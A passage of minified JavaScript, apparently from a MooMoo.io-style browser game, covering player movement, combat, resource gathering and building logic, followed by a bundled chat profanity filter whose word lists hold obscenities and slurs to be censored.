(b -= e) <= 0) {
var t = (this.skin && this.skin.healthRegen ? this.skin.healthRegen : 0) + (this.tail && this.tail.healthRegen ? this.tail.healthRegen : 0);
t && this.changeHealth(t, this),
this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time -= 1,
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
this.healCol && this.changeHealth(this.healCol, this),
b = 1e3
}
if(o.getDistance(this.x3, this.y3, this.x2, this.y2) <= 0 || this.lockMove) {
this.noMovTimer += Delta
} else this.noMovTimer = 0;
if (this.alive) {
if (this.slowMult < 1 && (this.slowMult += 8e-4 * e,
this.slowMult > 1 && (this.slowMult = 1)),
this.noMovTimer += e,
(this.xVel || this.yVel) && (this.noMovTimer = 0),
this.lockMove)
this.xVel = 0,
this.yVel = 0;
else {
var n = (this.buildIndex >= 0 ? .5 : 1) * (p.weapons[this.weaponIndex].spdMult || 1) * (this.skin && this.skin.spdMult || 1) * (this.tail && this.tail.spdMult || 1) * (this.y <= i.snowBiomeTop ? this.skin && this.skin.coldM ? 1 : i.snowSpeed : 1) * this.slowMult;
!this.zIndex && this.y >= i.mapScale / 2 - i.riverWidth / 2 && this.y <= i.mapScale / 2 + i.riverWidth / 2 && (this.skin && this.skin.watrImm ? (n *= .75,
this.xVel += .4 * i.waterCurrent * e) : (n *= .33,
this.xVel += i.waterCurrent * e));
var s = null != this.moveDir ? o(this.moveDir) : 0
, f = null != this.moveDir ? a(this.moveDir) : 0
, g = c(s * s + f * f);
0 != g && (s /= g,
f /= g),
s && (this.xVel += s * this.speed * n * e),
f && (this.yVel += f * this.speed * n * e)
}
var m;
this.zIndex = 0,
this.lockMove = !1,
this.healCol = 0;
for (var y = l.getDistance(0, 0, this.xVel * e, this.yVel * e), k = Math.min(4, Math.max(1, Math.round(y / 40))), w = 1 / k, v = {}, x = 0; x < k; ++x) {
this.xVel && (this.x += this.xVel * e * w),
this.yVel && (this.y += this.yVel * e * w),
m = u.getGridArrays(this.x, this.y, this.scale);
for (var S = 0; S < m.length; ++S) {
for (var I = 0; I < m[S].length && (!m[S][I].active || v[m[S][I].sid] || !u.checkCollision(this, m[S][I], w) || (v[m[S][I].sid] = !0,
this.alive)); ++I)
;
if (!this.alive)
break
}
if (!this.alive)
break
}
for (x = (M = d.indexOf(this)) + 1; x < d.length; ++x)
d[x] != this && d[x].alive && u.checkCollision(this, d[x]);
if (this.xVel && (this.xVel *= r(i.playerDecel, e),
this.xVel <= .01 && this.xVel >= -.01 && (this.xVel = 0)),
this.yVel && (this.yVel *= r(i.playerDecel, e),
this.yVel <= .01 && this.yVel >= -.01 && (this.yVel = 0)),
this.x - this.scale < 0 ? this.x = this.scale : this.x + this.scale > i.mapScale && (this.x = i.mapScale - this.scale),
this.y - this.scale < 0 ? this.y = this.scale : this.y + this.scale > i.mapScale && (this.y = i.mapScale - this.scale),
this.buildIndex < 0)
if (this.reloads[this.weaponIndex] > 0)
this.reloads[this.weaponIndex] -= e,
this.gathering = this.mouseState;
else if (this.gathering || this.autoGather) {
var T = !0;
if (null != p.weapons[this.weaponIndex].gather)
this.gather(d);
else if (null != p.weapons[this.weaponIndex].projectile && this.hasRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
this.useRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0),
this.noMovTimer = 0;
var M = p.weapons[this.weaponIndex].projectile
, C = 2 * this.scale
, P = this.skin && this.skin.aMlt ? this.skin.aMlt : 1;
p.weapons[this.weaponIndex].rec && (this.xVel -= p.weapons[this.weaponIndex].rec * o(this.dir),
this.yVel -= p.weapons[this.weaponIndex].rec * a(this.dir)),
h.addProjectile(this.x + C * o(this.dir), this.y + C * a(this.dir), this.dir, p.projectiles[M].range * P, p.projectiles[M].speed * P, M, this, null, this.zIndex)
} else
T = !1;
this.gathering = this.mouseState,
T && (this.reloads[this.weaponIndex] = p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd || 1))
}
}
}
}
,
this.addWeaponXP = function(e) {
this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] = 0),
this.weaponXP[this.weaponIndex] += e
}
,
this.earnXP = function(e) {
this.age < i.maxAge && (this.XP += e,
this.XP >= this.maxXP ? (this.age < i.maxAge ? (this.age++,
this.XP = 0,
this.maxXP *= 1.2) : this.XP = this.maxXP,
this.upgradePoints++,
y.send(this.id, "16", this.upgradePoints, this.upgrAge),
y.send(this.id, "15", this.XP, l.fixTo(this.maxXP, 1), this.age)) : y.send(this.id, "15", this.XP))
}
,
this.changeHealth = function(e, t) {
if (e > 0 && this.health >= this.maxHealth)
return !1;
e < 0 && this.skin && (e *= this.skin.dmgMult || 1),
e < 0 && this.tail && (e *= this.tail.dmgMult || 1),
e < 0 && (this.hitTime = Date.now()),
this.health += e,
this.health > this.maxHealth && (e -= this.health - this.maxHealth,
this.health = this.maxHealth),
this.health <= 0 && this.kill(t);
for (var i = 0; i < d.length; ++i)
this.sentTo[d[i].id] && y.send(d[i].id, "h", this.sid, this.health);
return !t || !t.canSee(this) || t == this && e < 0 || y.send(t.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1),
!0
}
,
this.kill = function(e) {
e && e.alive && (e.kills++,
e.skin && e.skin.goldSteal ? k(e, Math.round(this.points / 2)) : k(e, Math.round(100 * this.age * (e.skin && e.skin.kScrM ? e.skin.kScrM : 1))),
y.send(e.id, "9", "kills", e.kills, 1)),
this.alive = !1,
y.send(this.id, "11"),
w()
}
,
this.addResource = function(e, t, n) {
!n && t > 0 && this.addWeaponXP(t),
3 == e ? k(this, t, !0) : (this[i.resourceTypes[e]] += t,
y.send(this.id, "9", i.resourceTypes[e], this[i.resourceTypes[e]], 1))
}
,
this.changeItemCount = function(e, t) {
this.itemCounts[e] = this.itemCounts[e] || 0,
this.itemCounts[e] += t,
y.send(this.id, "14", e, this.itemCounts[e])
},
this.buildItemPos = function(e, r) {
[null, undefined].includes(r) && (r = this.d2);
var t = (this.scale + e.scale + (e.placeOffset || 0));
var n = this.x2 + (t * Math.cos(r));
var i = this.y2 + (t * Math.sin(r));
return {x: n, y: i};
},
this.buildItem = function(e, r) {
[null, undefined].includes(r) && (r = this.d2);
var t = (this.scale + e.scale + (e.placeOffset || 0));
var n = this.x2 + (t * Math.cos(r));
var i = this.y2 + (t * Math.sin(r));
return this.canBuild(e) && (e.consume || u.checkItemLocation(n, i, e.scale, 0.6, e.id, false, this));
},
this.hasRes = function(e, t) {
if (i.inSandbox) return true;
for (var v = 0; v < e.req.length;) {
if (this[e.req[v]] < Math.round(e.req[v + 1] * (t || 1))) return false;
v += 2;
}
return true;
}
,
this.useRes = function(e, t) {
if (!i.inSandbox)
for (var n = 0; n < e.req.length; )
this.addResource(i.resourceTypes.indexOf(e.req[n]), -Math.round(e.req[n + 1] * (t || 1))),
n += 2
}
,
this.canBuild = function(e) {
if (e.group.limit && this.itemCounts[e.group.id] >= (i.inSandbox ? 99 : e.group.limit)) return false;
return this.hasRes(e);
}
,
this.gather = function() {
this.noMovTimer = 0,
this.slowMult -= p.weapons[this.weaponIndex].hitSlow || .3,
this.slowMult < 0 && (this.slowMult = 0);
for (var e, t, n, s = i.fetchVariant(this), r = s.poison, c = s.val, h = {}, g = u.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range), m = 0; m < g.length; ++m)
for (var y = 0; y < g[m].length; ++y)
if ((t = g[m][y]).active && !t.dontGather && !h[t.sid] && t.visibleToPlayer(this) && l.getDistance(this.x, this.y, t.x, t.y) - t.scale <= p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y),
l.getAngleDist(e, this.dir) <= i.gatherAngle)) {
if (h[t.sid] = 1,
t.health) {
if (t.changeHealth(-p.weapons[this.weaponIndex].dmg * c * (p.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ? this.skin.bDmg : 1), this)) {
for (var k = 0; k < t.req.length; )
this.addResource(i.resourceTypes.indexOf(t.req[k]), t.req[k + 1]),
k += 2;
u.disableObj(t)
}
} else {
this.earnXP(4 * p.weapons[this.weaponIndex].gather);
var w = p.weapons[this.weaponIndex].gather + (3 == t.type ? 4 : 0);
this.skin && this.skin.extraGold && this.addResource(3, 1),
this.addResource(t.type, w)
}
n = !0,
u.hitObj(t, e)
}
for (y = 0; y < d.length + f.length; ++y)
if ((t = d[y] || f[y - d.length]) != this && t.alive && (!t.team || t.team != this.team) && l.getDistance(this.x, this.y, t.x, t.y) - 1.8 * t.scale <= p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y),
l.getAngleDist(e, this.dir) <= i.gatherAngle)) {
var v = p.weapons[this.weaponIndex].steal;
v && t.addResource && (v = Math.min(t.points || 0, v),
this.addResource(3, v),
t.addResource(3, -v));
var b = c;
null != t.weaponIndex && p.weapons[t.weaponIndex].shield && l.getAngleDist(e + Math.PI, t.dir) <= i.shieldAngle && (b = p.weapons[t.weaponIndex].shield);
var x = p.weapons[this.weaponIndex].dmg
, S = x * (this.skin && this.skin.dmgMultO ? this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ? this.tail.dmgMultO : 1)
, I = .3 * (t.weightM || 1) + (p.weapons[this.weaponIndex].knock || 0);
t.xVel += I * o(e),
t.yVel += I * a(e),
this.skin && this.skin.healD && this.changeHealth(S * b * this.skin.healD, this),
this.tail && this.tail.healD && this.changeHealth(S * b * this.tail.healD, this),
t.skin && t.skin.dmg && this.changeHealth(-x * t.skin.dmg, t),
t.tail && t.tail.dmg && this.changeHealth(-x * t.tail.dmg, t),
!(t.dmgOverTime && this.skin && this.skin.poisonDmg) || t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = this.skin.poisonDmg,
t.dmgOverTime.time = this.skin.poisonTime || 1,
t.dmgOverTime.doer = this),
!t.dmgOverTime || !r || t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = 5,
t.dmgOverTime.time = 5,
t.dmgOverTime.doer = this),
t.skin && t.skin.dmgK && (this.xVel -= t.skin.dmgK * o(e),
this.yVel -= t.skin.dmgK * a(e)),
t.changeHealth(-S * b, this, this)
}
this.sendAnimation(n ? 1 : 0)
}
,
this.sendAnimation = function(e) {
for (var t = 0; t < d.length; ++t)
this.sentTo[d[t].id] && this.canSee(d[t]) && y.send(d[t].id, "7", this.sid, e ? 1 : 0, this.weaponIndex)
}
;
var x = 0
, S = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
x = 0,
S = 0) : 0 == S ? (x += e / (this.animSpeed * i.hitReturnRatio),
this.dirPlus = l.lerp(0, this.targetAngle, Math.min(1, x)),
x >= 1 && (x = 1,
S = 1)) : (x -= e / (this.animSpeed * (1 - i.hitReturnRatio)),
this.dirPlus = l.lerp(0, this.targetAngle, Math.max(0, x))))
}
,
this.startAnim = function(e, t) {
this.animTime = this.animSpeed = p.weapons[t].speed,
this.targetAngle = e ? -i.hitAngle : -Math.PI,
x = 0,
S = 0
};
this.canShot = function(other, indx) {
if (!other) return false;
if (indx == 1 && !this.skins[53] && this.points <= 1e4) return false;
let dist = l.getDistance(this.x2, this.y2, other.x2, other.y2);
let dir = l.getDirection(other.x2, other.y2, this.x2, this.y2);
let projectile = p.projectiles[indx];
if (!projectile || projectile.range < dist) return false;
let tmpList = u.objects.filter(e =>
l.getDistance(e.x, e.y, this.x2, this.y2) - e.scale <= dist &&
l.getAngleDist(dir, l.getDirection(e.x, e.y, this.x2, this.y2)) <= e.getScale() * Math.PI/180 &&
(indx == 1 && e.id ? e.group.id == 3 || e.id == 17 : true) &&
!e.ignoreCollision);
let tmpList2 = d.filter(e =>
e.sid != this.sid &&
e.sid != other.sid &&
l.getAngleDist(dir, l.getDirection(e.x2, e.y2, this.x2, this.y2)) <= e.scale * Math.PI/180);
let tmpList3 = f.filter(e =>
l.getAngleDist(dir, l.getDirection(e.x2, e.y2, this.x2, this.y2)) <= e.scale * Math.PI/180);
tmpList = [...tmpList, ...tmpList2, ...tmpList3];
// HIT OBJECTS:
if (tmpList.length > 0) {
for (let tmpObj of tmpList) {
let x2 = tmpObj[tmpObj.isObject ? "x" : "x2"], y2 = tmpObj[tmpObj.isObject ? "y" : "y2"];
let tmpDist = l.getDistance(this.x2, this.y2, x2, y2);
let tmpDir = l.getDirection(x2, y2, this.x2, this.y2);
let x = this.x2 + Math.cos(dir) * tmpDist,
y = this.y2 + Math.sin(dir) * tmpDist;
if (l.lineInRect(x2 - tmpObj.scale,
y2 - tmpObj.scale,
x2 + tmpObj.scale,
y2 + tmpObj.scale,
x, y, x, y)) {
return tmpObj;
}
}
}
return true;
};
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer)
return !1;
var t = s(e.x - this.x) - e.scale
, n = s(e.y - this.y) - e.scale;
return t <= i.maxScreenWidth / 2 * 1.3 && n <= i.maxScreenHeight / 2 * 1.3
}
}
}
, function(e, t, i) {
const n = i(14).words
, s = i(15).array;
e.exports = class {
constructor(e={}) {
Object.assign(this, {
list: e.emptyList && [] || Array.prototype.concat.apply(n, [s, e.list || []]),
exclude: e.exclude || [],
placeHolder: e.placeHolder || "*",
regex: e.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
replaceRegex: e.replaceRegex || /\w/g
})
}
isProfane(e) {
return this.list.filter(t=>{
const i = new RegExp(`\\b${t.replace(/(\W)/g, "\\$1")}\\b`,"gi");
return !this.exclude.includes(t.toLowerCase()) && i.test(e)
}
).length > 0 || !1
}
replaceWord(e) {
return e.replace(this.regex, "").replace(this.replaceRegex, this.placeHolder)
}
clean(e) {
return e.split(/\b/).map(e=>this.isProfane(e) ? this.replaceWord(e) : e).join("")
}
addWords() {
let e = Array.from(arguments);
this.list.push(...e),
e.map(e=>e.toLowerCase()).forEach(e=>{
this.exclude.includes(e) && this.exclude.splice(this.exclude.indexOf(e), 1)
}
)
}
removeWords() {
this.exclude.push(...Array.from(arguments).map(e=>e.toLowerCase()))
}
}
}
, function(e) {
e.exports = {
words: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass", "Ass Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes", "assholz", "asswipe", "azzhole", "bassterds", "bastard", "bastards", "bastardz", "basterds", "basterdz", "Biatch", "bitch", "bitches", "Blow Job", "boffing", "butthole", "buttwipe", "c0ck", "c0cks", "c0k", "Carpet Muncher", "cawk", "cawks", "Clit", "cnts", "cntz", "cock", "cockhead", "cock-head", "cocks", "CockSucker", "cock-sucker", "crap", "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s", "dildo", "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics", "dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t", "faget", "fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz", "faig", "faigs", "fart", "flipping the bird", "fuck", "fucker", "fuckin", "fucking", "fucks", "Fudge Packer", "fuk", "Fukah", "Fuken", "fuker", "Fukin", "Fukk", "Fukkah", "Fukken", "Fukker", "Fukkin", "g00k", "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar", "hoor", "hoore", "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm", "jizz", "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian", "Lipshits", "Lipshitz", "masochist", "masokist", "massterbait", "masstrbait", "masstrbate", "masterbaiter", "masterbate", "masterbates", "Motha Fucker", "Motha Fuker", "Motha Fukkah", "Motha Fukker", "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother Fukkah", "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah", "Mutha Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt", "nigger;", "nigur;", "niiger;", "niigr;", "orafis", "orgasim;", "orgasm", "orgasum", "oriface", "orifice", "orifiss", "packi", "packie", "packy", "paki", "pakie", "paky", "pecker", "peeenus", "peeenusss", "peenus", "peinus", "pen1s", "penas", "penis", "penis-breath", "penus", "penuus", "Phuc", "Phuck", "Phuk", "Phuker", "Phukker", "polac", "polack", "polak", "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee", "pussy", "puuke", "puuker", "queer", "queers", "queerz", "qweers", "qweerz", "qweir", "recktum", "rectum", "retard", "sadist", "scank", "schlong", "screwing", "semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter", "sh1tz", "shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt", "Shyte", "Shytty", "Shyty", "skanck", "skank", "skankee", "skankey", "skanks", "Skanky", "slag", "slut", "sluts", "Slutty", "slutz", "son-of-a-bitch", "tit", "turd", "va1jina", "vag1na", "vagiina", "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p", "wh00r", "wh0re", "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit", "arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch", "bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa", "clits", "cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass", "fcuk", "fuk", "fux0r", "hoer", "hore", "jism", "kawk", "l3itch", "l3i+ch", "lesbian", "masturbate", "masterbat*", "masterbat3", "motherfucker", "s.o.b.", "mofo", "nazi", "nigga", "nigger", "nutsack", "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!t", "shemale", "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs", "teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank", "whoar", "whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik", "andskota", "arse*", "assrammer", "ayir", "bi7ch", "bitch*", "bollock*", "breasts", "butt-pirate", "cabron", "cazzo", "chraa", "chuj", "Cock*", "cunt*", "d4mn", "daygo", "dego", "dick*", "dike*", "dupa", "dziwka", "ejackulate", "Ekrem*", "Ekto", "enculer", "faen", "fag*", "fanculo", "fanny", "feces", "feg", "Felcher", "ficken", "fitt*", "Flikker", "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena", "h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui", "injun", "jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk", "kuksuger", "Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon", "masturbat*", "merd*", "mibun", "monkleigh", "mouliewop", "muie", "mulkku", "muschi", "nazis", "nepesaurio", "nigger*", "orospu", "paska*", "perse", "picka", "pierdol*", "pillu*", "pimmel", "piss*", "pizda", "poontsee", "poop", "porn", "p0rn", "pr0n", "preteen", "pula", "pule", "puta", "puto", "qahbeh", "queef*", "rautenberg", "schaffer", "scheiss*", "schlampe", "schmuck", "screw", "sh!t*", "sharmuta", "sharmute", "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic", "spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat", "vittu", "wank*", "wetback*", "wichser", "wop*", "yed", "zabourah"]
}
}
, function(e, t, i) {
e.exports = {
object: i(16),
array: i(17),
regex: i(18)
}
}
, function(e, t) {
e.exports = {
"4r5e": 1,
"5h1t": 1,
"5hit": 1,
a55: 1,
anal: 1,
anus: 1,
ar5e: 1,
arrse: 1,
arse: 1,
ass: 1,
"ass-fucker": 1,
asses: 1,
assfucker: 1,
assfukka: 1,
asshole: 1,
assholes: 1,
asswhole: 1,
a_s_s: 1,
"b!tch": 1,
b00bs: 1,
b17ch: 1,
b1tch: 1,
ballbag: 1,
balls: 1,
ballsack: 1,
bastard: 1,
beastial: 1,
beastiality: 1,
bellend: 1,
bestial: 1,
bestiality: 1,
"bi+ch": 1,
biatch: 1,
bitch: 1,
bitcher: 1,
bitchers: 1,
bitches: 1,
bitchin: 1,
bitching: 1,
bloody: 1,
"blow job": 1,
blowjob: 1,
blowjobs: 1,
boiolas: 1,
bollock: 1,
bollok: 1,
boner: 1,
boob: 1,
boobs: 1,
booobs: 1,
boooobs: 1,
booooobs: 1,
booooooobs: 1,
breasts: 1,
buceta: 1,
bugger: 1,
bum: 1,
"bunny fucker": 1,
butt: 1,
butthole: 1,
buttmuch: 1,
buttplug: 1,
c0ck: 1,
c0cksucker: 1,
"carpet muncher": 1,
cawk: 1,
chink: 1,
cipa: 1,
cl1t: 1,
clit: 1,
clitoris: 1,
clits: 1,
cnut: 1,
cock: 1,
"cock-sucker": 1,
cockface: 1,
cockhead: 1,
cockmunch: 1,
cockmuncher: 1,
cocks: 1,
cocksuck: 1,
cocksucked: 1,
cocksucker: 1,
cocksucking: 1,
cocksucks: 1,
cocksuka: 1,
cocksukka: 1,
cok: 1,
cokmuncher: 1,
coksucka: 1,
coon: 1,
cox: 1,
crap: 1,
cum: 1,
cummer: 1,
cumming: 1,
cums: 1,
cumshot: 1,
cunilingus: 1,
cunillingus: 1,
cunnilingus: 1,
cunt: 1,
cuntlick: 1,
cuntlicker: 1,
cuntlicking: 1,
cunts: 1,
cyalis: 1,
cyberfuc: 1,
cyberfuck: 1,
cyberfucked: 1,
cyberfucker: 1,
cyberfuckers: 1,
cyberfucking: 1,
d1ck: 1,
damn: 1,
dick: 1,
dickhead: 1,
dildo: 1,
dildos: 1,
dink: 1,
dinks: 1,
dirsa: 1,
dlck: 1,
"dog-fucker": 1,
doggin: 1,
dogging: 1,
donkeyribber: 1,
doosh: 1,
duche: 1,
dyke: 1,
ejaculate: 1,
ejaculated: 1,
ejaculates: 1,
ejaculating: 1,
ejaculatings: 1,
ejaculation: 1,
ejakulate: 1,
"f u c k": 1,
"f u c k e r": 1,
f4nny: 1,
fag: 1,
fagging: 1,
faggitt: 1,
faggot: 1,
faggs: 1,
fagot: 1,
fagots: 1,
fags: 1,
fanny: 1,
fannyflaps: 1,
fannyfucker: 1,
fanyy: 1,
fatass: 1,
fcuk: 1,
fcuker: 1,
fcuking: 1,
feck: 1,
fecker: 1,
felching: 1,
fellate: 1,
fellatio: 1,
fingerfuck: 1,
fingerfucked: 1,
fingerfucker: 1,
fingerfuckers: 1,
fingerfucking: 1,
fingerfucks: 1,
fistfuck: 1,
fistfucked: 1,
fistfucker: 1,
fistfuckers: 1,
fistfucking: 1,
fistfuckings: 1,
fistfucks: 1,
flange: 1,
fook: 1,
fooker: 1,
fuck: 1,
fucka: 1,
fucked: 1,
fucker: 1,
fuckers: 1,
fuckhead: 1,
fuckheads: 1,
fuckin: 1,
fucking: 1,
fuckings: 1,
fuckingshitmotherfucker: 1,
fuckme: 1,
fucks: 1,
fuckwhit: 1,
fuckwit: 1,
"fudge packer": 1,
fudgepacker: 1,
fuk: 1,
fuker: 1,
fukker: 1,
fukkin: 1,
fuks: 1,
fukwhit: 1,
fukwit: 1,
fux: 1,
fux0r: 1,
f_u_c_k: 1,
gangbang: 1,
gangbanged: 1,
gangbangs: 1,
gaylord: 1,
gaysex: 1,
goatse: 1,
God: 1,
"god-dam": 1,
"god-damned": 1,
goddamn: 1,
goddamned: 1,
hardcoresex: 1,
hell: 1,
heshe: 1,
hoar: 1,
hoare: 1,
hoer: 1,
homo: 1,
hore: 1,
horniest: 1,
horny: 1,
hotsex: 1,
"jack-off": 1,
jackoff: 1,
jap: 1,
"jerk-off": 1,
jism: 1,
jiz: 1,
jizm: 1,
jizz: 1,
kawk: 1,
knob: 1,
knobead: 1,
knobed: 1,
knobend: 1,
knobhead: 1,
knobjocky: 1,
knobjokey: 1,
kock: 1,
kondum: 1,
kondums: 1,
kum: 1,
kummer: 1,
kumming: 1,
kums: 1,
kunilingus: 1,
"l3i+ch": 1,
l3itch: 1,
labia: 1,
lust: 1,
lusting: 1,
m0f0: 1,
m0fo: 1,
m45terbate: 1,
ma5terb8: 1,
ma5terbate: 1,
masochist: 1,
"master-bate": 1,
masterb8: 1,
"masterbat*": 1,
masterbat3: 1,
masterbate: 1,
masterbation: 1,
masterbations: 1,
masturbate: 1,
"mo-fo": 1,
mof0: 1,
mofo: 1,
mothafuck: 1,
mothafucka: 1,
mothafuckas: 1,
mothafuckaz: 1,
mothafucked: 1,
mothafucker: 1,
mothafuckers: 1,
mothafuckin: 1,
mothafucking: 1,
mothafuckings: 1,
mothafucks: 1,
"mother fucker": 1,
motherfuck: 1,
motherfucked: 1,
motherfucker: 1,
motherfuckers: 1,
motherfuckin: 1,
motherfucking: 1,
motherfuckings: 1,
motherfuckka: 1,
motherfucks: 1,
muff: 1,
mutha: 1,
muthafecker: 1,
muthafuckker: 1,
muther: 1,
mutherfucker: 1,
n1gga: 1,
n1gger: 1,
nazi: 1,
nigg3r: 1,
nigg4h: 1,
nigga: 1,
niggah: 1,
niggas: 1,
niggaz: 1,
nigger: 1,
niggers: 1,
nob: 1,
"nob jokey": 1,
nobhead: 1,
nobjocky: 1,
nobjokey: 1,
numbnuts: 1,
nutsack: 1,
orgasim: 1,
orgasims: 1,
orgasm: 1,
orgasms: 1,
p0rn: 1,
pawn: 1,
pecker: 1,
penis: 1,
penisfucker: 1,
phonesex: 1,
phuck: 1,
phuk: 1,
phuked: 1,
phuking: 1,
phukked: 1,
phukking: 1,
phuks: 1,
phuq: 1,
pigfucker: 1,
pimpis: 1,
piss: 1,
pissed: 1,
pisser: 1,
pissers: 1,
pisses: 1,
pissflaps: 1,
pissin: 1,
pissing: 1,
pissoff: 1,
poop: 1,
porn: 1,
porno: 1,
pornography: 1,
pornos: 1,
prick: 1,
pricks: 1,
pron: 1,
pube: 1,
pusse: 1,
pussi: 1,
pussies: 1,
pussy: 1,
pussys: 1,
rectum: 1,
retard: 1,
rimjaw: 1,
rimming: 1,
"s hit": 1,
"s.o.b.": 1,
sadist: 1,
schlong: 1,
screwing: 1,
scroat: 1,
scrote: 1,
scrotum: 1,
semen: 1,
sex: 1,
"sh!+": 1,
"sh!t": 1,
sh1t: 1,
shag: 1,
shagger: 1,
shaggin: 1,
shagging: 1,
shemale: 1,
"shi+": 1,
shit: 1,
shitdick: 1,
shite: 1,
shited: 1,
shitey: 1,
shitfuck: 1,
shitfull: 1,
shithead: 1,
shiting: 1,
shitings: 1,
shits: 1,
shitted: 1,
shitter: 1,
shitters: 1,
shitting: 1,
shittings: 1,
shitty: 1,
skank: 1,
slut: 1,
sluts: 1,
smegma: 1,
smut: 1,
snatch: 1,
"son-of-a-bitch": 1,
spac: 1,
spunk: 1,
s_h_i_t: 1,
t1tt1e5: 1,
t1tties: 1,
teets: 1,
teez: 1,
testical: 1,
testicle: 1,
tit: 1,
titfuck: 1,
tits: 1,
titt: 1,
tittie5: 1,
tittiefucker: 1,
titties: 1,
tittyfuck: 1,
tittywank: 1,
titwank: 1,
tosser: 1,
turd: 1,
tw4t: 1,
twat: 1,
twathead: 1,
twatty: 1,
twunt: 1,
twunter: 1,
v14gra: 1,
v1gra: 1,
vagina: 1,
viagra: 1,
vulva: 1,
w00se: 1,
wang: 1,
wank: 1,
wanker: 1,
wanky: 1,
whoar: 1,
whore: 1,
willies: 1,
willy: 1,
xrated: 1,
xxx: 1
}
}
, function(e, t) {
e.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse", "arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole", "assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag", "balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs", "booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt", "butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk", "chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck", "cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka", "cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming", "cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick", "cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck", "cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings", "ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging", "faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker", "felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked", "fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange", "fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead", "fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", "goatse", "God", 